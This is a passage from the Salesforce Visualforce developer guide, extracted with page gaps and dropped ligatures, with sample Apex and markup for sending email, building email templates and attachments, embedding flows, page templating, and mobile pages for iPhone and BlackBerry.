Visualforce can be used to send email to any of your contacts, leads, or other recipients. It is also possible to create reusable email templates that take advantage of Visualforce's ability to iterate over your Salesforce records. The following topics explain how: Sending an Email with Visualforce Visualforce Email Templates
141
<apex:inputText value="{!subject}" id="Subject" maxlength="80"/> <br /><br /> <apex:outputLabel value="Body" for="Body"/>:<br /> <apex:inputTextarea value="{!body}" id="Body" rows="10" cols="80"/> <br /><br /><br /> <apex:commandButton value="Send Email" action="{!send}" /> </apex:form> </apex:pageBlock> </apex:page>
Notice in the page markup that the account ID is retrieved from the URL of the page. For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/sendEmailPage?id=001D000000IRt53
Displaying Field Values with Visualforce on page 26 has more information about retrieving the ID of a record. The following code creates a controller named sendEmail that implements the Messaging.SingleEmailMessage class, and uses the contacts related to an account as recipients:
public class sendEmail { public String subject { get; set; } public String body { get; set; } private final Account account; // Create a constructor that populates the Account object public sendEmail() { account = [select Name, (SELECT Contact.Name, Contact.Email FROM Account.Contacts) from Account where id = :ApexPages.currentPage().getParameters().get('id')]; } public Account getAccount() { return account; } public PageReference send() { // Define the email Messaging.SingleEmailMessage email = new Messaging.SingleEmailMessage(); String addresses; if (account.Contacts[0].Email != null) { addresses = account.Contacts[0].Email; // Loop through the whole list of contacts and their emails for (Integer i = 1; i < account.Contacts.size(); i++) { if (account.Contacts[i].Email != null) { addresses += ':' + account.Contacts[i].Email; } } } String[] toAddresses = addresses.split(':', 0); // Sets the paramaters of the email email.setSubject( subject ); email.setToAddresses( toAddresses ); email.setPlainTextBody( body ); // Sends the email Messaging.SendEmailResult [] r = Messaging.sendEmail(new Messaging.SingleEmailMessage[] {email});
142
return null; } }
Notice in the controller that: The subject and body of the email are set through a separate Visualforce page and passed into the controller. The method that sends the email is called send(). This name must match the name of the action for the Visualforce button that sends the email. The recipients of the email, that is, the email addresses stored in toAddresses[], come from the addresses of the contacts available in an associated account. When compiling a list of recipients from contacts, leads, or other records, it is a good practice to loop through all the records to verify that an email address is dened for each. The account ID is retrieved from the URL of the page.
143
For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt22 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/attachmentPDF?id=001D000000IRt22
Displaying Field Values with Visualforce on page 26 has more information about retrieving the ID of a record. Next, create the EmailFileAttachment object in the send() method of your custom controller. The following examples must be placed before calling Messaging.sendEmail:
// Reference the attachment page, pass in the account ID PageReference pdf = Page.attachmentPDF; pdf.getParameters().put('id',(String)account.id); pdf.setRedirect(true); // Take the PDF content Blob b = pdf.getContent(); // Create the email attachment Messaging.EmailFileAttachment efa = new Messaging.EmailFileAttachment(); efa.setFileName('attachment.pdf'); efa.setBody(b);
If your SingleEmailMessage object is named email, then you associate the attachment like this:
email.setFileAttachments(new Messaging.EmailFileAttachment[] {efa});
Then add the custom component to render at the bottom of your previous sendEmailPage:
<apex:pageBlock title="Preview the Attachment for {!account.name}"> <c:attachment /> </apex:pageBlock>
144
If you want to make changes to both the attachment and the preview, the attachment custom component needs to be modied in only one location.
145
146
The following topics provide more details: Creating a Visualforce Email Template Using a Custom Stylesheet in a Visualforce Email Template Adding Attachments Using Custom Controllers within Visualforce Email Templates
16. Click Version Settings to specify the version of Visualforce and the API used with this email template. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this email template. Generally, you should use the default value for all versions. This associates the email template with the most recent version of Visualforce, the API, as well as each managed package. You can specify an older version of Visualforce and the API to maintain specic behavior. You can specify an older version of a managed package if you want to access components or functionality that differs from the most recent package version. 17. Click Save to save your changes and view the details of the template, or click Quick Save to save your changes and continue editing your template. Your Visualforce markup must be valid before you can save your template.
147
Note: The maximum size of a Visualforce email template is 1 MB. You cannot send a mass email using a Visualforce email template. The merge elds {!Receiving_User.field_name} and {!Sending_User.field_name} work only for mass email and are unavailable in Visualforce email templates. The following example shows how you can dene a Visualforce email template that displays all the cases associated with a contact. The example uses an <apex:repeat> tag to iterate through all the cases related to a contact and incorporate them into the body of the template:
<messaging:emailTemplate recipientType="Contact" relatedToType="Account" subject="Case report for Account: {!relatedTo.name}" language="{!recipient.language__c}" replyTo="[email protected]"> <messaging:htmlEmailBody> <html> <body> <p>Dear {!recipient.name},</p> <p>Below is a list of cases related to {!relatedTo.name}.</p> <table border="0" > <tr> <th>Case Number</th><th>Origin</th> <th>Creator Email</th><th>Status</th> </tr> <apex:repeat var="cx" value="{!relatedTo.Cases}"> <tr> <td><a href = "https://na1.salesforce.com/{!cx.id}">{!cx.CaseNumber} </a></td> <td>{!cx.Origin}</td> <td>{!cx.Contact.email}</td> <td>{!cx.Status}</td> </tr> </apex:repeat> </table> <p/> <center> <apex:outputLink value="http://www.salesforce.com"> For more detailed information login to Salesforce.com </apex:outputLink> </center> </body> </html> </messaging:htmlEmailBody> </messaging:emailTemplate>
Notice the following about the markup: The attributes recipientType and relatedToType act as controllers for the email template. With them you can access the same merge elds that are available to other standard controllers. The recipientType attribute represents the recipient of the email. The relatedToType attribute represents the record to associate with the email. The <messaging:htmlEmailBody> component can include a mix of Visualforce markup and HTML. The <messaging:plainTextEmailBody> component can only include Visualforce markup and plain text. To translate Visualforce email templates based on recipients' or related objects' languages, use the <messaging:emailTemplate> tag's language attribute (valid values: Salesforce supported language keys, for example, en-US). The language attribute accepts merge elds from the email template's recipientType and relatedToType
148
attributes. You create custom language elds for use in the merge elds. The Translation Workbench is required to translate email templates. The example uses a merge eld to obtain a language attribute for the contact receiving the email.
See Also:
Using a Custom Stylesheet in a Visualforce Email Template
149
<td><a href = "https://na1.salesforce.com/{!cx.id}">{!cx.CaseNumber} </a></td> <td>{!cx.Origin}</td> <td>{!cx.Contact.email}</td> <td>{!cx.Status}</td> </tr> </apex:repeat> </table> </body> </html> </messaging:htmlEmailBody> </messaging:emailTemplate>
150
Adding Attachments
border-style: solid; border-color: #000000; background-color: #FFEECC; } th { color: #000000; border-width: 1px ; padding: 4px ; border-style: solid ; border-color: #000000; background-color: #FFFFF0; } </style> </apex:component>
Then, in the Visualforce email template, you can reference just that component:
<messaging:htmlEmailBody> <html> <c:EmailStyle /> <body> <p>Dear {!recipient.name},</p> ... </body> </html> </messaging:htmlEmailBody>
Note: Any <apex:component> tags used within a Visualforce email template must have an access level of global.
Adding Attachments
You have the ability to add attachments to your Visualforce email templates. Each attachment must be encapsulated within a single <messaging:attachment> component. Code within <messaging:attachment> can be a combination of HTML and Visualforce tags. The previous example shows how to create a Visualforce email template by iterating through some data and displaying it to an email recipient. This example shows how to modify that markup to display the data as an attachment:
<messaging:emailTemplate recipientType="Contact" relatedToType="Account" subject="Case report for Account: {!relatedTo.name}" replyTo="[email protected]"> <messaging:htmlEmailBody> <html> <body> <p>Dear {!recipient.name},</p> <p>Attached is a list of cases related to {!relatedTo.name}.</p> <center> <apex:outputLink value="http://www.salesforce.com"> For more detailed information login to Salesforce.com </apex:outputLink> </center> </body> </html> </messaging:htmlEmailBody> <messaging:attachment> <apex:repeat var="cx" value="{!relatedTo.Cases}">
151
Adding Attachments
Case Number: {!cx.CaseNumber} Origin: {!cx.Origin} Creator Email: {!cx.Contact.email} Case Number: {!cx.Status} </apex:repeat> </messaging:attachment> </messaging:emailTemplate>
This markup renders in an email as an attached data le, without any formatting. You can display the data in a more readable format by using one of the following options: Changing the Filename Changing the renderAs Attribute Adding a Style
Although you can only dene one lename for every <messaging:attachment> component, you can attach multiple les to an email.
152
Adding Attachments
Things to note about using renderAs: Currently, PDF is the only supported content converter. Rendering a Visualforce page as a PDF is intended for pages that are designed and optimized for print. Standard components which are not easily formatted for print or contain form elements like inputs, buttons, and any component that requires JavaScript to be formatted, should not be used. This includes but is not limited to any component that requires a form element. Verify the format of your rendered page before deploying it. If the PDF fails to display all the characters, adjust the fonts in your CSS to use a font that supports your needs. For example:
<apex:page renderas="pdf"> <html> <head> <style> body { font-family: Arial Unicode MS; } </style> </head> This page is rendered as a PDF </html> </apex:page>
The maximum response size when creating a PDF must be below15 MB. Note that the following components do not support double-byte fonts when rendered as a PDF: <apex:pageBlock> <apex:sectionHeader>
For more information, see Best Practices for Rendering PDFs on page 205.
153
Adding a Style
Attachments can also use stylesheets to change the way your data is presented. Styles are associated with attachments the same way as they are in Visualforce email templates, either as inline code, or by using a custom component. Attachments rendered as PDFs can reference static resources through the $Resource global variable. This enables you to refer to an image or stylesheet within the body of the PDF. For example, the following attachment includes a logo in the PDF:
<messaging:attachment renderAs="PDF" filename="cases.pdf"> <html> <body> <img src = "{!$Resource.logo}" /> ... </body> </html> </messaging:attachment>
Next, create a custom component named smithAccounts that uses this controller:
<apex:component controller="findSmithAccounts" access="global"> <apex:dataTable value="{!SmithAccounts}" var="s_account"> <apex:column> <apex:facet name="header">Account Name</apex:facet> {!s_account.Name} </apex:column> </apex:dataTable> </apex:component>
154
Tip: Remember that all custom components used in Visualforce email templates must have an access level of global. Finally, create a Visualforce email template that includes the smithAccounts component:
<messaging:emailTemplate subject="Embedding Apex Code" recipientType="Contact" relatedToType="Opportunity"> <messaging:htmlEmailBody> <p>As you requested, here's a list of all our Smith accounts:</p> <c:smithAccounts/> <p>Hope this helps with the {!relatedToType}.</p> </messaging:htmlEmailBody> </messaging:emailTemplate>
Notice that although the relatedToType attribute is required by the emailTemplate component, it does not have any effect on this example. It has the value of "Opportunity" only to show that it can take an object value that is different than the object used in the custom component.
155
Chapter 14
Rendering Flows with Visualforce
Force.com Flow allows you to set up collections of screens, known as ows, that step users through the process of collecting and updating data. For example, you can use Force.com Flow to script calls for a customer support center or to generate real-time quotes for a sales organization. Flow Designer, the tool for creating ows, lets you congure the screens and dene branching logic for your ows without writing any code. The standard user interface for running a ow can't be customized. Visualforce is the core technology that gives developers a more powerful way of building applications and customizing the look and feel of applications. Force.com Flow can leverage this technology to customize the user interface when running ows. The following topics demonstrate how to embed and congure ows in a Visualforce page: Adding a simple ow Creating advanced ows Dening a nish location
5. Restrict which users can run the ow by setting the page security for the Visualforce page that contains it. Any user with a prole assigned to the Visualforce page can run the embedded ow.
156
Note: You can only set variables at the beginning of an interview. The <apex:param> tags are evaluated only once when the ow is started. You can also leverage standard Visualforce controllers to set variables. For example, if the Visualforce page is using the standardCase controller, you can enhance the page to pass in the data from the standard controller:
<apex:page standardController="Case" tabStyle="Case" > <flow:interview name="ModemTroubleShooting"> <apex:param name="vaCaseNumber" value="{!case.CaseNumber}"/> </flow:interview> </apex:page>
For more examples of setting finishLocation, see Conguring the finishLocation Attribute in a Flow on page 159.
157
// Access flow variables as simple member variables with get/set methods if(myflow==null) return 'High'; else return myflow.vaCasePriority; } }
If you're using a custom controller, you can also set the initial values of the variables at the beginning of the ow in the constructor of the ow. Passing in variables using the constructor is optional and isn't necessary if you are using <apex:param> tags to set the value. Here's an example of a custom controllerthat sets the values of ow variables in a constructor:
public class ModemTroubleShootingCustomSetVariables { public Flow.Interview.ModemTroubleShooting myflow {get;set;} public ModemTroubleShootingCustomSetVariables() { Map<String, Object> myMap = new Map<String, Object>(); myMap.put('vaCaseNumber','123456'); myflow = new Flow.Interview.ModemTroubleShooting(myMap); } public String caseNumber {set;} public String getcaseNumber() { return myflow.vaCaseNumber; } }
The following table shows the differences in the naming of supported data types between the ow and Apex. Flow Text Number Apex String Decimal
158
As it's a good practice to write tests against your Apex code, the following is a trivial example of writing a test class for ModemTroubleShootingCustomSetVariables:
public class ModemTroubleShootingCustomSetVariablesTest { public static testmethod void ModemTroubleShootingCustomSetVariablestests() { PageReference pageRef = Page.ModemTroubleShootingSetVariables; Test.setCurrentPage(pageRef); ModemTroubleShootingCustomSetVariables mytestController = new ModemTroubleShootingCustomSetVariables(); System.assertEquals(mytestController.getcaseNumber(), '01212212'); } }
For more information about testing Apex classes, see Apex Testing Example.
Caution: If you don't set the reRender attribute, when you click a button to navigate to a different screen in a ow, the entire Visualforce page refreshes, not just the <flow:interview> component.
159
Note: If finishLocation isn't specied, users that click Finish are routed back to the rst screen of the ow.
Route users to a specic record or detail page using its ID. For example, if you wanted to route users to a detail page with an ID of 001D000000IpE9X:
<apex:page> <flow:interview name="flowname" finishLocation="{URLFOR('/001D000000IpE9X')}"/> </apex:page>
For more information about $Page, see Global Variables on page 374.
160
} }
Note: You can't route users to a URL that is external to your Salesforce organization using just finishLocation=http://www.example.com. If you want to route your users to an external URL upon clicking Finish, use URLFOR or a controller to do so.
161
Chapter 15
Templating with Visualforce
Visualforce provides several strategies for reusing similar content across multiple Visualforce pages. The method you choose depends on how exible you need your reused template to be. The more exible a templating method is, the more any implementation of a template using that method can be modied. The following template methods are available, in order of most to least exible: Dening Custom Components Similar to the way you can encapsulate a piece of code in a method and then reuse that method several times in a program, you can encapsulate a common design pattern in a custom component and then reuse that component several times in one or more Visualforce pages. Dening custom components is the most exible templating method because they can contain any valid Visualforce tags and can be imported without restrictions into any Visualforce page. However custom components should not be used to dene reusable Visualforce pages. If you want to reuse the content of an entire Visualforce page, choose one of the other two templating methods. Dening Templates with <apex:composition> If you want to dene a base template that allows portions of the template to change with each implementation, use the <apex:composition> component. This templating method is best for situations when you want to maintain an overall structure to a page, but need the content of individual pages to be different, such as a website for news articles where different articles should appear with the same page layout. Through this technique, you can also dene a template from a PageReference returned by a controller. Referencing an Existing Page with <apex:include> If you want the entire content of a Visualforce page inserted into another page, use the <apex:include> component. This templating method is best for situations when you want to replicate the same content in multiple areas, such as a feedback form that appears on every page of a website. Templates made with <apex:insert> and <apex:composition> should only be used when you want to reference an already existing Visualforce page. If you require only a set of components to be duplicated, use custom components.
162
First, create an empty page called myFormComposition that uses a controller called compositionExample:
<apex:page controller="compositionExample"> </apex:page>
After saving the page, a prompt appears that asks you to create compositionExample. Use the following code to dene that custom controller:
public class compositionExample{ String name; Integer age; String meal; String color; Boolean showGreeting = false; public PageReference save() { showGreeting = true; return null; } public void setNameField(String nameField) { name = nameField; } public String getNameField() { return name; } public void setAgeField(Integer ageField) { age= ageField; } public Integer getAgeField() { return age; } public void setMealField(String mealField) { meal= mealField; } public String getMealField() { return meal; } public void setColorField(String colorField) { color = colorField; } public String getColorField() { return color; } public Boolean getShowGreeting() { return showGreeting; } }
163
<apex:outputLabel value="Enter your name: " for="nameField"/> <apex:inputText id="nameField" value="{!nameField}"/> <br /> <apex:insert name="age" /> <br /> <apex:insert name="meal" /> <br /> <p>That's everything, right?</p> <apex:commandButton action="{!save}" value="Save" id="saveButton"/> </apex:form> </apex:page>
Notice the two <apex:insert> elds requiring the age and meal content. The markup for these elds is dened in whichever page calls this composition template. Next, create a page called myFullForm, which denes the <apex:insert> tags in myFormComposition:
<apex:page controller="compositionExample"> <apex:messages/> <apex:composition template="myFormComposition"> <apex:define name="meal"> <apex:outputLabel value="Enter your favorite meal: " for="mealField"/> <apex:inputText id="mealField" value="{!mealField}"/> </apex:define> <apex:define name="age"> <apex:outputLabel value="Enter your age: " for="ageField"/> <apex:inputText id="ageField" value="{!ageField}"/> </apex:define> <apex:outputLabel value="Enter your favorite color: " for="colorField"/> <apex:inputText id="colorField" value="{!colorField}"/> </apex:composition> <apex:outputText id="greeting" rendered="{!showGreeting}" value="Hello {!nameField}. You look {!ageField} years old. Would you like some {!colorField} {!mealField}?"/> </apex:page>
Notice the following about the markup: When you save myFullForm, the previously dened <apex:inputText> tags and Save button appear. Since the composition page requires age and meal elds, myFullForm denes them as text input elds. The order in which they appear on the page does not matter; myFormComposition species that the age eld is always displayed before the meal eld. The name eld is still imported, even without a matching <apex:define> eld. The color eld is disregarded, even though controller code exists for the eld. This is because the composition template does not require any eld named color. The age and meal elds do not need to be text inputs. The components within an <apex:define> tag can be any valid Visualforce tag.
To show how you can use any valid Visualforce in an <apex:define> tag, create a new Visualforce page called myAgelessForm and use the following markup:
<apex:page controller="compositionExample"> <apex:messages/> <apex:composition template="myFormComposition"> <apex:define name="meal"> <apex:outputLabel value="Enter your favorite meal: " for="mealField"/> <apex:inputText id="mealField" value="{!mealField}"/>
164
</apex:define> <apex:define name="age"> <p>You look great for your age!</p> </apex:define> </apex:composition> <apex:outputText id="greeting" rendered="{!showGreeting}" value="Hello {!nameField}. Would you like some delicious {!mealField}?"/> </apex:page>
Notice that the composition template only requires an <apex:define> tag to exist. In this example, age is dened as text.
Dynamic Templates
A dynamic template allows you to assign a template through a PageReference. The template name is assigned to a controller method that returns a PageReference containing the template you want to use. For example, create a page called myAppliedTemplate that denes the skeleton template:
<apex:page> <apex:insert name="name" /> </apex:page>
Next, create a controller called dynamicComposition with a method that will return a reference to this page:
public class dynamicComposition { public PageReference getmyTemplate() { return Page.myAppliedTemplate; } }
Last, create a page called myDynamicComposition that implements this controller and the dynamic template:
<apex:page controller="dynamicComposition"> <apex:composition template="{!myTemplate}"> <apex:define name="name"> Hello {!$User.FirstName}, you look quite well. </apex:define> </apex:composition> </apex:page>
165
For example, suppose you want to create a form that takes a user's name and displays it back to them. First, create a page called formTemplate that represents a reusable form and uses a controller called templateExample:
<apex:page controller="templateExample"> </apex:page>
After you receive the prompt about templateExample not existing, use the following code to dene that custom controller:
public class templateExample{ String name; Boolean showGreeting = false; public PageReference save() { showGreeting = true; return null; } public void setNameField(String nameField) { name = nameField; } public String getNameField() { return name; } public Boolean getShowGreeting() { return showGreeting; } }
Note that nothing should happen if you click Save. This is expected behavior. Next, create a page called displayName, which includes formTemplate:
<apex:page controller="templateExample"> <apex:include pageName="formTemplate"/> <apex:actionSupport event="onClick" action="{!save}" rerender="greeting"/> <apex:outputText id="greeting" rendered="{!showGreeting}" value="Hello {!nameField}"/> </apex:page>
When you save this page, the entire formTemplate page is imported. When you enter a name and click Save the form passes a true value to the showGreeting eld, which then renders the <apex:outputText> and displays the user's name. You can create another Visualforce page that uses formTemplate to display a different greeting. Create a page called displayBoldName and use the following markup:
<apex:page controller="templateExample"> <style type="text/css">
166
.boldify { font-weight: bolder; } </style> <apex:include pageName="formTemplate"/> <apex:actionSupport event="onClick" action="{!save}" rerender="greeting"/> <apex:outputText id="greeting" rendered="{!showGreeting}" styleClass="boldify" value="I hope you are well, {!nameField}."/> </apex:page>
Notice that although the displayed text changes, the templateExample logic remains the same.
167
Chapter 16
Developing for Mobile Devices
Developers can use Visualforce and Apex to write sophisticated and powerful applications that run natively on the Force.com platform. To extend applications built on the Force.com platform to mobile devices, developers can use Visualforce Mobile. Visualforce Mobile combines the speed and reliability of Salesforce Mobile, salesforce.com's native client application, with a fully customizable, browser-based user interface. Visualforce Mobile is a hybrid of client-side and on-demand programming that lets developers leverage the ofine data access offered by Salesforce Mobile along with the exibility and rapid development offered by Visualforce and Apex. Salesforce Mobile for BlackBerry and Salesforce Mobile for iPhone can render Visualforce pages and web pages directly within the client application in an embedded browser. Visualforce Mobile pages can even execute JavaScript code that forces Salesforce Mobile to synchronize data and close the embedded browser.
168
BlackBerry 8300 Series (Curve) BlackBerry 8800 Series BlackBerry 8900 Series ( Javelin) BlackBerry 9000 Series (Bold) BlackBerry 9500 Series (Storm)
iPhone Salesforce Mobile requires the latest iPhone operating system available on iTunes. The device should have at least 5 MB of available memory before installing the mobile client application. The mobile client application is supported on these devices: iPhone iPhone 3G iPhone 3GS iPod Touch Note: Developers who do not own an iPhone or BlackBerry device can test their Visualforce Mobile pages using simulators.
169
Custom List Views BlackBerry users can create custom views in the mobile client application. BlackBerry and iPhone users can access custom views created by Salesforce administrators in the Mobile Administration Console. In the mobile application, custom views are limited to two columns. Visualforce Tabs and Web Tabs iPhone and BlackBerry users can access Visualforce tabs and web tabs in the mobile client application if the tabs have been mobilized by a Salesforce administrator. Although the native client application lets users access data ofine, Visualforce tabs and web tabs require a connection to the wireless network because the tabs are launched in an embedded browser.
170
to replace native functionality in the mobile application with a Visualforce page. Additionally, the layout and styling of a standard object page are usually too complex for the mobile browser. When developing for the mobile application, you may often write custom controllers for your pages. Controllers run server-side, not in the embedded browser. Controllers with highly complex business logic may cause the page to load more slowly. Header and Sidebar Phones have small screens, and there's often not enough space to display the user's row of tabs and the sidebar. Additionally, it would take a long time to load these components over a wireless network. Consider suppressing the header and sidebar in your Visualforce Mobile pages with the following attribute denition:
<apex:page showHeader="false">
Page Styles The standard Salesforce stylesheets (CSS les) are too massive for the mobile browser. Not only will the Salesforce stylesheets cause the page to load very slowly, but the stylesheets do not display properly in the BlackBerry browser. Suppress the standard stylesheets in your Visualforce Mobile pages with the following attribute denition:
<apex:page standardStylesheets="false">
The best approach to adding a stylesheet to your page is to include a <style> section just below the <apex:page> component.
<apex:page standardStylesheets="false"> <style type="text/css"> <!-- the styles --> </style> </apex:page>
To reuse styles between pages, create a separate Visualforce page that denes your styles. Then, use the <apex:include> tag to incorporate the styles page. For example, suppose you dene a page called myStyles:
<apex:page> <style type="text/css"> <!-- the styles --> </style> </apex:page>
You would include these styles into another page like the following:
<apex:page standardStylesheets="false"/> <apex:include pageName="myStyles" /> </apex:page>
It is possible to save a mobile-optimized stylesheet as a static resource, and then reference it in your page. However, the stylesheet is paired with the Visualforce markup on the client-side to render the page, so you increase the page load time by adding a stylesheet as a static resource. Note: If you are building pages for the iPhone and want to mimic the standard iPhone UI, you can save time and development effort by using iUI, a third-party library that provides an iPhone-like interface to Web applications.
171
iPhone Considerations
Lookups The lookup eld selector provided with <apex:inputField> doesnt offer a good user experience on BlackBerry and doesnt work on iPhone. You can work around this issue by writing an Apex trigger that validates the entry in the lookup eld upon saving the record. You could also change the eld type, if possible. The following topics include additional information about developing pages for iPhone and BlackBerry: iPhone Considerations BlackBerry Considerations Developing Cross-Platform Compatible Pages Using the JavaScript Library
See Also:
Styling Visualforce Pages Using Static Resources
iPhone Considerations
The mobile application launches Visualforce Mobile pages in an embedded browser. The iPhone embedded browser is the same full-featured Safari browser used for the default Web browser. It has excellent JavaScript support and performs well. When developing pages for the iPhone, these considerations apply: Page Zoom By default, the iPhone browser sets your page width to 980 pixelsa value chosen to maximize compatibility with a broad range of websites. Use a <meta> tag to let the iPhone browser know how wide to display the initial page:
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
Other browsers ignore this tag. For iPhone-specic applications, you should set the page width to the width of the device. When providing multiple properties for the viewport meta key, use a comma-delimited list of assignment statements. The following table describes the viewport properties: Property
width
Description The width of the viewport in pixels. The default is 980. The range is from 200 to 10,000. Use the device_width value to set the page to the width of the device in pixels. The height of the viewport in pixels. The default is calculated based on the value of the width property and the aspect ratio of the device. The range is from 223 to 10,000 pixels. Use the device_height value to set the page to the height of the device in pixels. The initial scale of the viewport as a multiplier. The default is calculated to t the web page in the visible area. The range is determined by the minimum-scale and maximum-scale properties. You can set only the initial scale of the viewport, which is the scale of the viewport the rst time the web page is displayed. Thereafter, the user
height
initial-scale
172
BlackBerry Considerations
Property
Description can zoom in and out unless you set user-scalable to no. Zooming by the user is also limited by the minimum-scale and maximum-scale properties.
Species the minimum scale value of the viewport. The default is 0.25. The range is from >0 to 10.0. Species the maximum scale value of the viewport. The default is 1.6. The range is from >0 to 10.0. Determines whether or not the user can zoom in and out. Set to yes to allow scaling and no to disallow scaling. The default is yes. Setting user-scalable to no also prevents a page from scrolling when entering text in an input eld.
Screen Rotation In the mobile application, rotating the screen will not cause the page to ip and re-size. URL Targets The embedded browser does not support the target="_blank" attribute. If you use it in your page, the URL target doesnt load. File Access The embedded browser does not natively offer access to the le system, camera, location, or other device data. Static Resource Caching In the mobile application, static resources (such as imahes, JavaScript, or CSS) are not cached. This can have affect performance on slow connections. The embedded browser does support caching. As a general rule for mobile development, you shouldn't use components that: Rely on JavaScript to perform an action Depend on Salesforce.com stylesheets
To check if your Visualforce Mobile page falls into one of these categories, you can view the HTML source of the page. If you see a <script> tag that refers to JavaScript (.js) or a <link> tag that refers to a stylesheet (.css), you should test that the page displays as expected.
BlackBerry Considerations
The mobile application launches Visualforce Mobile pages in an embedded browser. Research in Motion (RIM) upgraded the embedded browser with the release of BlackBerry operating system version 4.3, but the embedded browser still has limited JavaScript support. Although the BlackBerry Bold (version 4.6) and BlackBerry Storm (version 4.7) have more powerful standard browsers, the embedded browser has not sufciently improved for full Visualforce Mobile support. When developing pages for BlackBerry smartphones, these considerations apply: JavaScript Support The embedded BlackBerry browser has very limited JavaScript support. Inline JavaScript events do not work at all. When possible, avoid using JavaScript in Visualforce Mobile pages for BlackBerry.
173
BlackBerry Considerations
Forms and View State Visualforce pages rely on a view state to maintain the state of the database between requests. If you use the <apex:form> tag in your Visualforce page, the view state variable is often too large for the BlackBerry embedded browser to deal with effectively, even for the simplest forms. If you need to create a form, try to use standard HTML forms. Parameters sent from the form can be retrieved with ApexPages.currentPage().getParameters() map in the controller. When using HTML forms, remember that: Maintaining state between pages must be done manually. Redirecting to another page must be done manually. The <apex:commandLink> and <apex:commandButton> components are not available.
For Visualforce Mobile pages that let users upload les, using the <apex:form> and <apex:inputFile> components is the best choice. The two components function properly in this limited use case. For example, to create an upload form, use the two tags in conjunction with Apex controller methods:
<apex:form> <apex:inputFile value="{!attachment.body}"/> <apex:commandButton action="{!save}"/> </apex:form>
The implementation can benet further from the use of transient variables. The transient keyword is used for data that doesnt need to be saved on a postback. In the previous example, the attachment itself should be non-transient, but the attachment body can potentially be very large, and there's no reason to store the body in the view state. The solution is to change the value of <apex:inputFile> to retrieve a Blob le type:
<apex:form> <apex:inputFile value="{!theBlob}"/> <apex:commandButton action="{!save}"/> </apex:form>
Then, in your Apex controller for this page, dene theBlob as transient:
Transient Blob theBlob;
Finally, in the save method, dene the attachment using the value of theBlob:
attachment.body = theBlob; upsert attachment; attachment.body = null.
The attachment body will get updated with the correct data, but the data will not be preserved. Set attachment.body to null after save because the attachment itself is not transient. Misplaced Visualforce Tags Some Visualforce tags, upon compilation and resolution to HTML, are sometimes misinterpreted or not interpreted: The <apex:facet> component is placed where it appears in the code. Be sure to place the <apex:facet> tag where it should display on the page; for example, place the <apex:facet name="footer"> component at the bottom of a section. The standard Salesforce styles provided with the <apex:sectionHeader> and <apex:pageBlock> components are mangled or ignored. Use simpler tags, or write pure HTML.
174
Page Styles Be sure to follow the best practices for styling your Visualforce Mobile pages on page 171. Additionally, be aware that the BlackBerry embedded browser ignores some common CSS properties, such as margin-left. Line Breaks The <br/> tag is ignored unless there is something on the line, such as a non-breaking space. Navigation The embedded browser in the BlackBerry client application does not have built-in navigation. If your Visualforce page is a wizard, you should provide navigation links that allow users to return to the previous page and advance to the next page. Additionally, the Visualforce page is embedded in a tab, so you should avoid using tabs for navigation in mobile Visualforce pages.
This approach offers the best user experience for all devices with the fewest long-term development headaches. However, it does require you to maintain two separate applicationsone for each device type. Lowest Common Denominator Build to the lowest common denominator and include only minimal, unobtrusive JavaScript, avoiding scripts with inline events in the tags. Depending on the devices in the customer's organization, you might need to avoid JavaScript all together. On older BlackBerry smartphones, using any JavaScript at all can cause the page to malfunction. Conditional Code Build device-conditional code and styles. The user agent string, contained in the header passed by the browser to the server, identies the connecting device as BlackBerry or iPhone. The code in your Visualforce Mobile page evaluates the user agent string and displays the content appropriate for the connecting device. The benet of Visualforce is that the markup is interpreted server-side, and the client only receives the markup it can render based on the assessment of the conditional statements. Building with conditional code is the most sophisticated approach, but not necessarily the best long-term solution due to the added code complexity. Note: Salesforce Mobile appends the text "Salesforce" to the end of the string for the embedded BlackBerry browser. Additionally, the user can change the user agent string on some BlackBerry smartphones.
175
For example, the following markup creates a custom component named mobileSample that simply displays an image stored within the mobileImages static resource. However, it determines which image to display at runtime based on the browser's reported user agent value as inspected in the component's controller.
<apex:component controller="mobileSampleCon"> <apex:image value="{!URLFOR($Resource.mobileImages, deviceType + '.jpg')}"/> </apex:component> // mobileSampleCon Controller code snippet ... public class mobileSampleCon { public String deviceType { get; set; } publicMobileSampleCon() { String userAgent = ApexPages.currentPage().getHeaders().get('USER-AGENT'); if(userAgent.contains('iPhone')) deviceType = 'iPhone'; else if(userAgent.contains('BlackBerry')) deviceType = 'BlackBerry'; } }
The following example loads different stylesheets based on the connecting application. First, you can create the page that you want displayed across multiple devices:
<!-- Visualforce code snippet --> ... <head> <linkrel="stylesheet" type="text/css" href="{!URLFOR($Resource.Global, '/inc/css/global.css')}"/> <c:conditionalStylesheets resource="{!$Resource.Global}" /> <linkrel="stylesheet" type="text/css" href="{!URLFOR($Resource.SendEmail, '/inc/css/local.css')}"/> <c:conditionalStylesheets resource="{!$Resource.SendEmail}" /> </head> ...
The Global.zip and SendEmail.zip les are static resources that contain the referenced CSS les. For the conditionalStylesheets custom component, you can dene multiple CSS declarations that are rendered based on the browser type:
// Visualforce component code <apex:component controller="myConditionalController"> <apex:attribute name="resource" description="The resource name" type="String" required="true"/> // for a BlackBerry standard browser, e.g., Bold <apex:outputPanel layout="none" rendered="{!browserName = 'BlackBerry'}"> <linkrel="stylesheet" type="text/css" href="{!URLFOR(resource, '/inc/css/BBBrowser.css')}"/> </apex:outputPanel> // for a BlackBerry embedded browser in Salesforce Mobile // the Apex code distinguished between the regular and embedded browsers <apex:outputPanel layout="none" rendered="{!browserName = 'Salesforce'}"> <linkrel="stylesheet" type="text/css" href="{!URLFOR(resource, '/inc/css/BBEmbedded.css')}"/> </apex:outputPanel> // for the iPhone Safari browser (inside Salesforce Mobile or not) <apex:outputPanel layout="none" rendered="{!browserName = 'iPhone-Safari'}">
176
<meta name="viewport" content="width=320; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;"> </meta> <linkrel="stylesheet" type="text/css" href="{!URLFOR(resource, '/inc/css/IPhone.css')}"/> </apex:outputPanel> </apex:component>
